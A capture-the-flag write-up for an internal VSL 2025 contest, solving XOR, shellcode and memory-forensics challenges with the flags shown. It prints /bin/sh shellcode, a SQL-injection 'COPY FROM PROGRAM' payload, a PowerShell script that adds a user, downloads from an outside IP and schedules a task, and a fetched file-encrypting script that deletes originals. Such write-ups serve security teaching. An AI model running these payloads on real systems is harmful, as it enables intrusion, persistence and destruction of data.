# VSL Internal CTF 2025

---
## Reverse Engineering
### EasyXor

```!
flag.txt: 0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310
```
The challenge gave out an apk file, so lets decompressed it back to jar first by using [dex2jar](https://github.com/pxb1988/dex2jar)

after getting the jar file, extract it using [jd-gui](https://java-decompiler.github.io/)
we got the password by debase64 the string inside leanhtruong.j4f package and the whole encryption process also in there just different class


```py!
def xor_decrypt(encrypted_hex: str, key: str) -> str:
encrypted_bytes = bytes.fromhex(encrypted_hex)
key_bytes = key.encode('utf-8')
decrypted_bytes = bytearray(len(encrypted_bytes))
for i in range(len(encrypted_bytes)):
decrypted_bytes[i] = encrypted_bytes[i] ^ key_bytes[i % len(key_bytes)]
return decrypted_bytes.decode('utf-8')
encrypted_hex = "0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310"
key = "VKU Security Lab - VSL" #VktVIFNlY3VyaXR5IExhYiAtIFZTTA debase64
print(xor_decrypt(encrypted_hex, key))
```

## PWN
### asm-machine

This challeng just simply about writing a shellcode, here is the shellcode:
```asm!
section .data
sh db '/bin/sh', 0
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 11
int 0x80
end
```

## Forensics
### Easy Log

We have received a log file from a website that has been attacked with account&password bruteforcing.

But after the attacker succeeded in bruteforcing and logged in, they started to do something weird
```
192.168.25.1 - - [11/Jan/2025 02:53:26] "GET http://secret.vsl.com.vn/user?id=1;COPY%20binary%20FROM%20PROGRAM%20%27echo%200200000006000000e02d000000000000%20%3E%3E%20binary%27 HTTP/1.1" 200 - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0"
```
After noticing this, I quickly wrote a script and dump all the thing that the attack request to the server thats contains ```COPY%20binary%20FROM%20PROGRAM%20%27echo%```
script:
```py!
import re
import binascii
def convert(log_file, output_file):
with open(log_file, 'r') as file:
logs = file.readlines()
converted_lines = []
for log in logs:
match = re.search(r"COPY%20binary%20FROM%20PROGRAM%20%27echo%20([0-9a-fA-F]+)%20", log)
if match:
binary_data = match.group(1)
try:
data = binascii.unhexlify(binary_data).decode('utf-8', errors='replace')
converted_lines.append(data)
except:
pass
with open(output_file, 'w') as file:
file.write("\n".join(converted_lines))
log_file = 'evidence-log.txt'
output_file = 'lmao.txt'
convert(log_file, output_file)
```
and found out that, its an ELF

compiled and string to get the flag

### 4 parts

The first thing I saw after checking the raw file with volatility is a readme.png and secret.txt.txt.vsl

we got the 4th part of the flag and a string after convert the txt file from hex
```
IVBIfZrJtEPpPiwA2b8mQQ7wKvgbKngklrJtcrX2CiJwWF5szQOK5D7E9qL+OgoE5h8nXO4DEgKeCrYoFzCMfpwfP89Z94c+gh34vRGPrq31dQDMUA+C6yK+8ukp+CHx
```
Let's continue investigating, I also found out that there a powershell process, I immediately start searching for a ps1 script and envtually found it, there 2 ways of finding this, the first one is by searching for ps1 after dump and string the powershell process, second is to use volatility(not the volatility3)

I will be showing the volatility(not the volatility3) from now on, since it's needed for the next part

we can see here a script that got download and seem like it's encoded in base64, decode it gave us the ps1 script that I mentioned above


```ps1!
$Username = "hello"
$Password = "hellokitty"
$ImagePath = "C:\Users\Public\Pictures\background.png"
$ImageUrl = "http://61.14.233.104:7331/hacked.png"
$Part2 = "pp3n3d_1ns1"
Invoke-Expression -Command "net user $Username $Password /add"
Invoke-Expression -Command "net localgroup Users $Username /add"
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile($ImageUrl, $ImagePath)
$Script = @"
Add-Type -TypeDefinition `
'using System;
using System.Runtime.InteropServices;
public class Wallpaper {
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}'
[Wallpaper]::SystemParametersInfo(20, 0, `"$ImagePath`", 0x01 | 0x02);
"@
# [System.Environment]::SetEnvironmentVariable('secret_pass', '<redacted>', [System.EnvironmentVariableTarget]::User) # Do something with bg image
Set-Content -Path "C:\Users\Public\Documents\Set-Wallpaper.ps1" -Value $Script
$schTaskCommand = "schtasks /create /tn 'changewall' /tr 'powershell -ExecutionPolicy Bypass -File C:\Users\Public\Documents\Set-Wallpaper.ps1' /sc ONLOGON /ru $Username"
Invoke-Expression -Command $schTaskCommand
```
Okay so, we got the 2nd part of the flag ```$Part2 = "pp3n3d_1ns1"```, also if you noticed there some secret code that got set as an envar, using envar plugin we can get this value back, it's ```y0un3v3rf1ndm3kkk@@```

**If you notice again, the link to the picture that the attacker used, but don't know why this link is hacked.png and there another script but with bg.jpg**

using steghide with the secret password you can get the part 3 of the flag, also if you wonder how to find this version of the script, I already said above, string the whole powershell process and search for it

Okay now we only need part 1 left, get back to the consoles dump from volatility

we saw here is the attacker ran a script and encrypt the secret.txt, if you scroll a bit higher you can see the whole script, its AES
```!
PS C:\Users\admin\Desktop\ImportantDocuments> python -c "from requests import get; print(get('http://61.14.233.104:7331/
evil.py').text)"
import os
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import scrypt
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
password = input("Enter the password: ")
salt = get_random_bytes(16)
key = scrypt(password, salt, key_len=32, N=16384, r=8, p=1)
cipher = AES.new(key, AES.MODE_CBC)
directory = os.getcwd()
for filename in os.listdir(directory):
file_path = os.path.join(directory, filename)
if os.path.isfile(file_path) and not filename.endswith('.vsl'):
with open(file_path, 'rb') as file:
file_data = file.read()
encrypted_data = cipher.encrypt(pad(file_data, AES.block_size))
encrypted_data_b64 = base64.b64encode(salt + cipher.iv + encrypted_data)
with open(file_path + '.vsl', 'wb') as file:
file.write(encrypted_data_b64)
os.remove(file_path)
print("File has been encrypted and saved as " + file_path + ".vsl")
PS C:\Users\admin\Desktop\ImportantDocuments> notepad evil.py
```
if you wonder what is the key, its an input argument

so lets just decrypt this, here the script:
```py!
import os
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import scrypt
from Crypto.Util.Padding import unpad
password = "benjaminbunny"
directory = os.getcwd()
for filename in os.listdir(directory):
file_path = os.path.join(directory, filename)
if os.path.isfile(file_path) and filename.endswith('.vsl'):
with open(file_path, 'rb') as file:
encrypted_data_b64 = file.read()
encrypted_data = base64.b64decode(encrypted_data_b64)
salt = encrypted_data[:16]
iv = encrypted_data[16:32]
encrypted_content = encrypted_data[32:]
key = scrypt(password, salt, key_len=32, N=16384, r=8, p=1)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
decrypted_data = unpad(cipher.decrypt(encrypted_content), AES.block_size)
original_file_path = file_path[:-4]
with open(original_file_path, 'wb') as file:
file.write(decrypted_data)
os.remove(file_path)
```
and part 1 is ```VSL{wh4t_h4 ```
**full flag: VSL{wh4t_h4pp3n3d_1ns1d3_my_l4pt0p_@^@omg@@}**
**First Blood hehe**

---
